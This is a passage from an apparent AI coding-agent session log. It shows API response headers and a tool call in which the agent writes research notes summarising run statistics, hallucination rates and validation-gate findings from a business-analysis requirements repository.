\"0.5\",\n[2026-09-29T07:49:00.693Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:49:00.715Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:49:00.848Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:49:00.852Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:49:00.856Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:49:00.859Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:49:00.863Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:49:00.865Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:49:00.868Z] [STDOUT]     \"cf-ray\": \"a429637f7f4429ad-FRA\",\n[2026-09-29T07:49:00.871Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:49:00.873Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:49:00.876Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:49:00.880Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:49:00.883Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:49:00 GMT\",\n[2026-09-29T07:49:00.887Z] [STDOUT]     \"request-id\": \"req_011CfXN2aZpWyfv3aX5Lqazv\",\n[2026-09-29T07:49:00.889Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:49:00.892Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:49:00.895Z] [STDOUT]     traceresponse: \"00-3d36f6904a9e27b17a4a49571f8bb691-bf9bd5fe7656ac32-01\",\n[2026-09-29T07:49:00.898Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:49:00.902Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:49:00.906Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:49:00.910Z] [STDOUT]   },\n[2026-09-29T07:49:00.913Z] [STDOUT]   durationMs: 1056,\n[2026-09-29T07:49:00.915Z] [STDOUT] }\n[2026-09-29T07:49:00.918Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:49:00.920Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:49:00 GMT\",\n[2026-09-29T07:49:00.922Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:49:00.924Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:49:00.926Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:49:00.928Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:49:00.931Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:49:00.933Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:49:00.935Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:49:00.942Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:49:00.945Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:49:00.946Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:49:00.949Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:49:00.952Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:49:00.956Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.38\",\n[2026-09-29T07:49:00.958Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:49:00.960Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:49:00.961Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:49:00.963Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:49:00.965Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:49:00.966Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:49:00.969Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:49:00.970Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:49:00.972Z] [STDOUT]   \"request-id\": \"req_011CfXN2aZpWyfv3aX5Lqazv\",\n[2026-09-29T07:49:00.975Z] [STDOUT]   \"traceresponse\": \"00-3d36f6904a9e27b17a4a49571f8bb691-bf9bd5fe7656ac32-01\",\n[2026-09-29T07:49:00.976Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:49:00.978Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:49:00.980Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:49:00.981Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:49:00.983Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:49:00.985Z] [STDOUT]   \"cf-ray\": \"a429637f7f4429ad-FRA\",\n[2026-09-29T07:49:00.986Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:49:00.988Z] [STDOUT] [log_4e37b0] response parsed {\n[2026-09-29T07:49:00.989Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:49:00.991Z] [STDOUT]   status: 200,\n[2026-09-29T07:49:00.992Z] [STDOUT]   body: X {\n[2026-09-29T07:49:00.994Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:49:00.996Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:49:00.998Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:49:01.003Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:49:01.005Z] [STDOUT]     },\n[2026-09-29T07:49:01.006Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:49:01.009Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:49:01.011Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:49:01.016Z] [STDOUT]   },\n[2026-09-29T07:49:01.018Z] [STDOUT]   durationMs: 1078,\n[2026-09-29T07:49:01.019Z] [STDOUT] }\n[2026-09-29T07:49:08.906Z] [INFO] {\n[2026-09-29T07:49:08.906Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:49:08.906Z] [INFO]   \"message\": {\n[2026-09-29T07:49:08.906Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:49:08.906Z] [INFO]     \"id\": \"msg_011CfXN2bzdbKt5w2oCHh5Mk\",\n[2026-09-29T07:49:08.906Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:49:08.906Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:49:08.906Z] [INFO]     \"content\": [\n[2026-09-29T07:49:08.906Z] [INFO]       {\n[2026-09-29T07:49:08.906Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:49:08.906Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:49:08.906Z] [INFO]         \"signature\": \"CAQSlAYKEAgSGAI4AUIIdGhpbmtpbmcSDAhz8Bv0KK9KDwMzzRoM3iRAd1vGslVbhPN4IjCLy7hadCIkdtH7QPrrS5wP59kBFFtuifbjRs3SikjLSlIdqjAuqW7ziSi5Q3ZXsZIqsQUByaiU9Va5O724DPMXt4uOZOA1w7ImK1HTyRPkjuuxmO4lge2/xgaHcsFRhLKU0HUgSO5NclIgqht/OjGxd5ldfB1EnfZaWCh6d16Y0qOgVyLd7FvkOBl4U63bJwjuFuz1GT0YTKZ7lXf0cBdPfv+2BlhRAlhmFf5+2xBASM/XUNFnL5Qt8D3YiY6/PUfutgEYRfgAjV5vqY9VjqXCVxv01H+9KkVvTv14p4+3K2Gbm53fQMvLZWgxZSFnEsfdLk+ejBe9QC4EECPBp0snRDI5v/gts0BHz6yl6bIdPYpv0P/ZaRDnkCngSCn0jV/ngH63uQH7N0oUSUm3zPaCBhJL+v26+TtulbeZYvY9R2vAKmsMpQryFSPH4LJhn3XMLz/+aDiosTSh0rq8TTr7f+vlQgsSj3NJyOiN0FEN8wszmzBASWkXgw5c8WqEPgusSryEtdEWV4TXeKVBdIIO7Iv1m/6FYilxyDM1F7erJPBpulfRNCOxi6/aHFFvy7SbMnkDIhXML1xHWoD/3xj6GLB+X2L6ZZVi3FA6zQjJrQRGZETws77f+qpTW01mTezYlQKpfPjQR8o5pJsfqB4P8HtDKBvb1mEu4l2wl5mWDTfp4y9Zu7FxVXbgCGwAWVsGPjHTgfLgXGHQGXUFrfaBoscAiqXfwcFHvH1kiixb2Gzn3D4yXC9V2fmz9y1QBrqNhNx+lNKaEkgW5aFa0nLWg4dLzplTcS/zS9Tx2HZelwpzM0B5U/EEWa+Mg4C7THl7eoc8PfjbLUk3RdzwvS4V4kFQpe6bWuH6vjZUPZpqlOFoV4ETXCw5DFpScOIcue1n3bFgYPXxnrYFrCEXjM809+ouiU4a4v3Go8kiNvr7jRMSGcYmEayvSsBMBeMycvCnscV/Cvxx2SwNNGgelyxtN4L+CBgB\"\n[2026-09-29T07:49:08.906Z] [INFO]       }\n[2026-09-29T07:49:08.906Z] [INFO]     ],\n[2026-09-29T07:49:08.906Z] [INFO]     \"container\": null,\n[2026-09-29T07:49:08.906Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:49:08.906Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:49:08.906Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:49:08.906Z] [INFO]     \"usage\": {\n[2026-09-29T07:49:08.906Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:49:08.906Z] [INFO]       \"cache_creation_input_tokens\": 7044,\n[2026-09-29T07:49:08.906Z] [INFO]       \"cache_read_input_tokens\": 21859,\n[2026-09-29T07:49:08.906Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:49:08.906Z] [INFO]         \"ephemeral_5m_input_tokens\": 7044,\n[2026-09-29T07:49:08.906Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:49:08.906Z] [INFO]       },\n[2026-09-29T07:49:08.906Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:49:08.906Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:49:08.906Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:49:08.906Z] [INFO]     },\n[2026-09-29T07:49:08.906Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:49:08.906Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:49:08.906Z] [INFO]     \"context_management\": null\n[2026-09-29T07:49:08.906Z] [INFO]   },\n[2026-09-29T07:49:08.906Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:49:08.906Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:08.906Z] [INFO]   \"uuid\": \"dca7d048-416f-42f2-974f-6efa92bb5d57\",\n[2026-09-29T07:49:08.906Z] [INFO]   \"timestamp\": \"2026-09-29T07:49:08.890Z\",\n[2026-09-29T07:49:08.906Z] [INFO]   \"request_id\": \"req_011CfXN2aZpWyfv3aX5Lqazv\",\n[2026-09-29T07:49:08.906Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:49:08.906Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:49:08.906Z] [INFO] }\n[2026-09-29T07:49:30.393Z] [INFO] {\n[2026-09-29T07:49:30.393Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:49:30.393Z] [INFO]   \"message\": {\n[2026-09-29T07:49:30.393Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:49:30.393Z] [INFO]     \"id\": \"msg_011CfXMyAnVm6wFSqN5gVLh7\",\n[2026-09-29T07:49:30.393Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:49:30.393Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:49:30.393Z] [INFO]     \"content\": [\n[2026-09-29T07:49:30.393Z] [INFO]       {\n[2026-09-29T07:49:30.393Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:49:30.393Z] [INFO]         \"id\": \"toolu_01AdXRxxjGGVh5FdqK4eiWd3\",\n[2026-09-29T07:49:30.393Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:49:30.393Z] [INFO]         \"input\": {\n[2026-09-29T07:49:30.393Z] [INFO]           \"command\": \"mkdir -p /tmp/research-notes && cat > /tmp/research-notes/ba-requirements.md <<'EOF'\\n# Research notes: research/ba-requirements (executive-presentation facts)\\n\\nRepo: G-Ivan-A/hybrid-Intelligence-lab, checked out at /tmp/gh-issue-solver-1790667776920 (main @ ecb1d94 + branch issue-646).\\nBase URL (main): https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/\\nAll paths below are relative to that base. Numbers are copied from the cited files; nothing is computed here.\\nBranch note: issue-639-405767e7672e (tip 836faaf) is already merged into main (PR #643, merge d718616). Everything it added is on main,\\nso main URLs work. Branch URLs (https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-639-405767e7672e/) are equivalent.\\n\\n---------------------------------------------------------------------------------------------------\\n## 1. Empirical snapshots of Mango runs\\n\\n### 1.1 research/ba-requirements/2026-08-25-mango-runs-empirical-snapshot.md (source: mango_ba_prompts commit 524a8eb)\\n- 56 runs, 2026-04-10 .. 2026-08-25. run_type: statistics 47, execution 9.\\n- Status: draft 29, works-with-edits 19, partial-success 5, success 1, needs-rework 1, experimental 1.\\n- Prefixes: task- 32, fr- 9, bcreq- 4, prompt- 3.\\n- Metrics (n runs with metric / sum / median / range):\\n  - episodes 41 / 1080 / 15 / 1..83\\n  - iterations 37 / 1052 / 19\\n  - turns 34 / 2084 / 44 / 2..166\\n  - success_rate 18 / - / 0.60 / 0.25..0.92\\n  - hallucinations 11 / 41 / 3 / 2..8\\n  - hallucinations_shipped 11 / 12 / 1 / 0..3\\n  - ba_edits 10 / 53 / 6 / 0..11\\n  - quality 11 / 31 / 3\\n  - tokens_dialog_total 32 / 61,360,738 / 720,806 / 3,387..9,225,333\\n  - duration_wall_clock_s 11 / 1,331,029 / 45,675 / 2,762..522,867\\n- Shipped hallucinations in 9 runs: RUN-0016, 0018, 0021, 0022, 0024, 0025, 0026, 0027, 0028.\\n- Keyword counts (runs out of 56): \\\"\u043f\u043e\u043a\u0440\u044b\u0442\\\" (covered) 41, \\\"\u0443\u0442\u043e\u0447\u043d\u0435\u043d\u0438\\\" (clarification) 23, \\\"\u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\\\" (hallucination) 20, \\\"\u0434\u043e\u043c\u044b\u0441\u043b\\\" (speculation) 11, \\\"\u043a\u0430\u0441\u0442\u043e\u043c\\\" (custom) 10, \\\"\u0442\u0430\u0440\u0438\u0444\\\" (tariff) 7, \\\"\u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430\\\" (access rights) 5, \\\"\u0443\u0436\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\\\" (already implemented) 3, \\\"discoverab\\\" 0, \\\"deprecat\\\"/\\\"\u0432\u044b\u0432\u043e\u0434 \u0438\u0437 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438\\\" (decommissioning) 0.\\n- Limitations stated by the file:\\n  - Hallucinations are recorded under 3 keys (hallucinations 11, hallucinations_found 3, hallucinations_prevented 3).\\n  - success_rate is not comparable between runs.\\n  - Metric fill rate ranges from 10 to 41 of 56 runs.\\n\\n### 1.2 research/ba-requirements/2026-08-26-rrp-full-cycle-corpus-facts.md (commit ef88a9a)\\n- 57 runs. statistics 47, execution 10. Status: draft 29, works-with-edits 19, partial 6, success 1, needs-rework 1, experimental 1.\\n- inputs/, logs/ and feedback/ are present in 100% of runs. The contract is kept in form only.\\n- M1 (modeling): core-process markers in 15/57 runs; modeling markers in only 2/57 (RUN-0002, RUN-0003). No C-CORE exists in practice.\\n- M2 (rendering):\\n  - 57/57 runs produce at least 1 document; 23/57 (40.4%) produce more than 1.\\n  - Documents per run: 1 doc 34 runs, 2 docs 11, 3 docs 11, 5 docs 1 (RUN-0057).\\n  - L0-L4 audience fan-out in 2 runs (RUN-0056, RUN-0057).\\n- M3 (feedback):\\n  - metrics.eval 40 (70.2%), verdict 15 (26.3%), success_rate 16 (28.1%).\\n  - measured declared 5 (8.8%; true 3, false 2).\\n  - related_runs 21 (36.8%); hallucinations_shipped>0 in 9 (15.8%).\\n- M4 (orchestration):\\n  - 71 distinct metrics keys, none universal. episodes appears in 41 runs (71.9%); 24 keys appear in exactly one run.\\n  - token_method is filled in 41 runs with 24 distinct values.\\n  - Prompt modes: stepwise 10, oneshot 9, legacy 5, others 3.\\n- No run delivered a contract TZ (per #541).\\n\\n### 1.3 research/ba-requirements/2026-08-26-m0-m2-layering-hypothesis-check.md\\n- 57 runs; 32 produced at least 1 document (the denominator). 0 produced a TZ. 4 consumed a foreign TZ as input (e.g. RUN-0055, RUN-0057).\\n- 4 runs fanned out into multiple documents, 2 of them with L0-L4.\\n- Linear decomposition reaches the terminal contract in 0/32 (0%); layered decomposition in 32/32 (100%). The owner's threshold was 80%.\\n\\n### 1.4 research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md (commit 8cbf82a)\\n- 67 runs viewed. 125 markdown files: run-journal 63, analysis-note 45, requirement-document 17.\\n- The 17 requirement documents have 17 distinct skeletons, with no match even as slot sets.\\n- Same task BCREQ-1074 (RUN-0063/0064/0067): 3 documents, 3 skeletons, mean Jaccard 0.69, minimum 0.571. Other groups: 0.286, 0.2, 0.167, 0.333.\\n- Slots (sections / distinct captions): S-OTHER 33/27, S-SCENARIO 14/14, S-FR 14/10, S-PROBLEM 10/8, S-LIMITS 9/7, S-SOLUTION 8/6, S-OPEN 7/5, S-GLOSSARY 6/4, S-TRACE 5/3, S-AC 1, S-UI 1.\\n- Formats: F-NARRATIVE 7, F-CLASSIC 6, F-MIXED 3, F-SHORT 1. No run declares its expected format.\\n- There are no clean product samples, so the Golden Set must be synthetic.\\n\\n### 1.5 research/ba-requirements/2026-09-08-meta-model-inputs-facts.md (commit 8cbf82a)\\n- Prompts:\\n  - 24 active prompts: stepwise 10, oneshot 9, legacy 5.\\n  - 13 capabilities; duplication 1.85; 9/13 capabilities have more than one variant.\\n- Variant pairs:\\n  - 13 variant pairs, mean Jaccard 0.077. 0 pairs have identical sets or order. Max 0.4 (fr-validation). Size ratio 1.22..3.30.\\n  - 8 of the 13 pairs have Jaccard 0.0.\\n- Prompt usage:\\n  - 50/67 runs reference no prompt. Referenced: stepwise 14, oneshot 3, legacy 3.\\n  - 11/24 prompts are never referenced.\\n- Operations: prompts cover 6/13. The 7 without a prompt are governance, impact_analysis, quality, release_readiness, research, reverse_requirements, risk_analysis.\\n- Processes: 1/9 used (fr-generation); 65 process labels fall outside the dictionary.\\n- Product domain declared in 5/67 runs; 66/67 runs map lexically to more than one domain.\\n\\n### 1.6 research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md\\n- 12 meta-model constructs checked against 24 prompts and 67 runs.\\n- 10 constructs appear in none of the prompts. 4 appear in neither prompts nor runs: MM-4, OPS-2, Contract, T-1 closed dictionary.\\n- Average 1.04 constructs per prompt, maximum 2; the one present is usually \\\"version:\\\".\\n- Gates mentioned in runs: G-self 7, G-mach 9, G-human 7, SK-4 1. EP-G1 appears in 1 prompt and 15 runs.\\n- Conclusion: the corpus cannot serve as the basis for new contracts. This feeds ADR-014 (legacy is evidence, not baseline) and LG-4.\\n\\n### 1.7 research/ba-requirements/2026-09-08-kb-slot-fit-facts.md\\n- 5 KB documents, 860 sections.\\n  - 457 (53.1%) matched a specific rule.\\n  - 403 (46.9%) fell to the default S-SCOPE.\\n  - 0 needed a slot outside the 14-slot dictionary.\\n- Profile ordinal predictions: 5/5 confirmed (3/3 pairs each).\\n- Two absolute predictions failed:\\n  - S-INTEGRATION for P-API was 19.2% against a >=30% threshold.\\n  - S-UI for speech analytics was 3.9% against a >=10% threshold.\\n\\n### 1.8 research/ba-requirements/2026-09-07-ecosystem-knowledge-inventory.md\\n- 368 artifacts: hub 251 (68%), mango 64 (17%), clarify 53 (14%).\\n- By class: Research 173 (163 of them in hub), Standard 53, RFC 39, ADR 37.\\n- Status: draft 242 (65.8%), no frontmatter 53. canonical+accepted is 48/368 = 13%.\\n- Link graph: 3361 edges, 200 cross-repo, 19 isolated nodes. mango->hub 81, hub->mango 31, clarify->hub 0.\\n- 8 transferable mechanisms found in clarify.\\n\\n### 1.9 Baseline quoted in methodology-unification (research/ba-requirements/methodology-unification/00-introduction.md)\\n- Of 67 runs only 2 are unconditional success. 2/32 runs with a verdict (6%) were accepted without edits.\\n- Verdicts: draft 35, works-with-edits 19, partial 8, success 2.\\n\\n---------------------------------------------------------------------------------------------------\\n## 2. Hypothesis: cognitive operations are poorly suited to direct AI generation; remedy = strict prompt + machine-readable contract + fail-closed validation\\n\\nHONEST NOTE: this exact sentence does not appear verbatim anywhere in research/ba-requirements. The argument is spread across\\nseveral files. The strongest chain of evidence:\\n\\n1. Theory: research/ba-requirements/methodology-unification/10-theory.md (sec. 1, sec. 5)\\n   - Failure A: if the model resolves deltas itself, the result is non-deterministic.\\n     Quote: \\\"\u0434\u0432\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0434\u0430\u044e\u0442 \u0434\u0432\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0432\u043e\u0434\u0430 \u043d\u043e\u0440\u043c\\\" (two runs produce two different sets of norms).\\n     Remedy: resolution is a build step with a human gate, and SKILL.md is the compiled artifact. The agent never computes deltas at runtime.\\n   - Gate theory T-1. Quote: \\\"G-self \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0434\u0435\u0444\u0435\u043a\u0442, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0437\u0430\u0431\u043b\u0443\u0436\u0434\u0435\u043d\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0438 ...\\n     \u0444\u0430\u043a\u0442\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043e\u0431\u044f\u0437\u0430\u043d\u044b \u0438\u043c\u0435\u0442\u044c G-mach\\\" (G-self cannot detect a defect caused by the model's own misconception;\\n     factual properties must have G-mach).\\n   - T-2: irreversible decisions require G-human. Criterion K: G-mach is used only for decidable properties.\\n2. Cases: research/ba-requirements/methodology-unification/40-practice-and-cases.md\\n   - C-1, RUN-0018 (qwen3.7-plus, fr-validation-stepwise, 8 self-check steps).\\n     Recorded: hallucinations 8, shipped 1, ba_edits 6, success_rate 0.63.\\n     The run's own conclusion: \\\"\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\\\" (the prompt mechanics were followed; factual accuracy was not ensured).\\n     In other words, a strict prompt plus self-check is not enough.\\n   - C-2, RUN-0063 -> 0064 -> 0067 (BCREQ-1074).\\n     - 5 requirements described functionality that already existed.\\n     - 8 errors: contract violation 3, missing contract 2, prompt ambiguity 2, technical limitation 1.\\n     - Rework: 9 audit findings applied, 5 requirements removed, delta reduced to 8 fields, 9 statements turned into questions. RUN-0063 was marked invalid.\\n     - Remedy: a delta-baseline skill with a G-mach fail-closed gate.\\n       Quote: \\\"\u043f\u0443\u0441\u0442\u043e\u0439 SSOT \u2014 \u043e\u0442\u043a\u0430\u0437, \u0430 \u043d\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\\\" (an empty SSOT is a refusal, not a warning).\\n     - The defect surfaced two runs late.\\n   - C-3, RUN-0008/0009: norm checks were done by the model and stayed draft (gap G-13).\\n   - The BCREQ decomposition table assigns a gate type to each skill.\\n     Pilot B-131 (delta-baseline with G-mach fail-closed) is listed in methodology-unification/50-open-research.md.\\n3. Normalization: research/ba-requirements/normalization/00-introduction.md\\n   - The human gate is unreliable: 9/56 runs shipped hallucinations. Machine-checkable grounding is therefore required.\\n   - Coverage assessment is the main loss (\\\"\u043f\u043e\u043a\u0440\u044b\u0442\\\" (covered) 41/56 vs \\\"discoverab\\\" 0) and should become a separate operation with its own gate.\\n4. Rendering: research/ba-requirements/artifact-rendering/00-introduction.md\\n   - M2 is assembly, not writing: no new meaning may be born at render (non-drift K5).\\n   - 9 runs shipped fiction.\\n   - Render modes differ by what can be proven.\\n5. Environment: research/ba-requirements/2026-09-10-gigacode-environment-facts.md\\n   - GC-19: the agent works where the result is machine-checkable.\\n   - GC-20: the agent invents whatever it does not know.\\n   - Vendor guidance: \\\"\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u0430, \u0430 \u043d\u0435 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0430\\\" (a check must be shown, not claimed).\\n6. Why prompts alone are insufficient\\n   - Legacy prompts carry about 0 checkable constructs (1.04 per prompt, mostly \\\"version:\\\"; 10/12 constructs absent). Source: 2026-09-09-legacy-normative-influence-facts.md.\\n   - Prompt variants for the same capability barely overlap (mean Jaccard 0.077). Source: 2026-09-08-meta-model-inputs-facts.md.\\n7. Contracts at the operation level\\n   - The operation taxonomy defines 31 operations in 5 cognitive classes (extract/transform/generate/check/assess).\\n   - Each operation is \\\"\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435, \u043d\u043e \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435\\\" (an atomic but semantically complete cognitive action) with a 6-field contract and atomicity rules OA-1..OA-6.\\n   - Now lives in projects/ba-ai-process/ (moved by B-155, #573; see research/ba-requirements/README.md). ADR-016 covers skill form and contract format.\\n8. Runtime evidence that fail-closed must check the step, not the package: projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\n   - \u0413-29 (probe P10): \\\"lorem ipsum\\\" was accepted as the output of n1..n3 because the gate checks the package, not the step.\\n   - \u0413-30: deterministic_share = 1.0 even with junk output.\\n   - Root cause 8: \\\"\u0413\u0435\u0439\u0442 \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0448\u0430\u0433\u0430\\\" (the gate measures the package, not the step result).\\n   - Backlog B-212 adds a per-node output contract so the metric counts verified outputs.\\n\\n---------------------------------------------------------------------------------------------------\\n## 3. Key conclusions per subdir (source: /00-introduction.md)\\n\\nnormalization (research/ba-requirements/normalization/)\\n- Introduces the term \\\"Initiating Artifact\\\" (IA-1..IA-7).\\n- The main loss is coverage assessment (41/56 vs 0), so it should be a separate operation with a gate.\\n- The human gate is unreliable (9/56 shipped hallucinations), so machine-checkable grounding is needed.\\n- Recommends hybrid H-H: a universal taxonomy plus a Mango taxonomy with a correlation matrix, and statistics as a separate process.\\n\\nmethodology-unification (research/ba-requirements/methodology-unification/)\\n- There is no single BA methodology, and only 13% of ecosystem knowledge is normative.\\n- Two levels:\\n  - Governance: L0 industry -> L1 IT-telecom -> L2 Mango deltas D1..D5.\\n  - Execution: a resolved, compiled SKILL.md (I-1..I-7).\\n- The agent never computes deltas at runtime.\\n- Baseline: 2/32 runs with a verdict (6%) accepted without edits. Roadmap B-121..B-135.\\n\\norchestration (research/ba-requirements/orchestration/)\\n- The route is fixed before generation on axes A1..A6 at gate HG-0. The 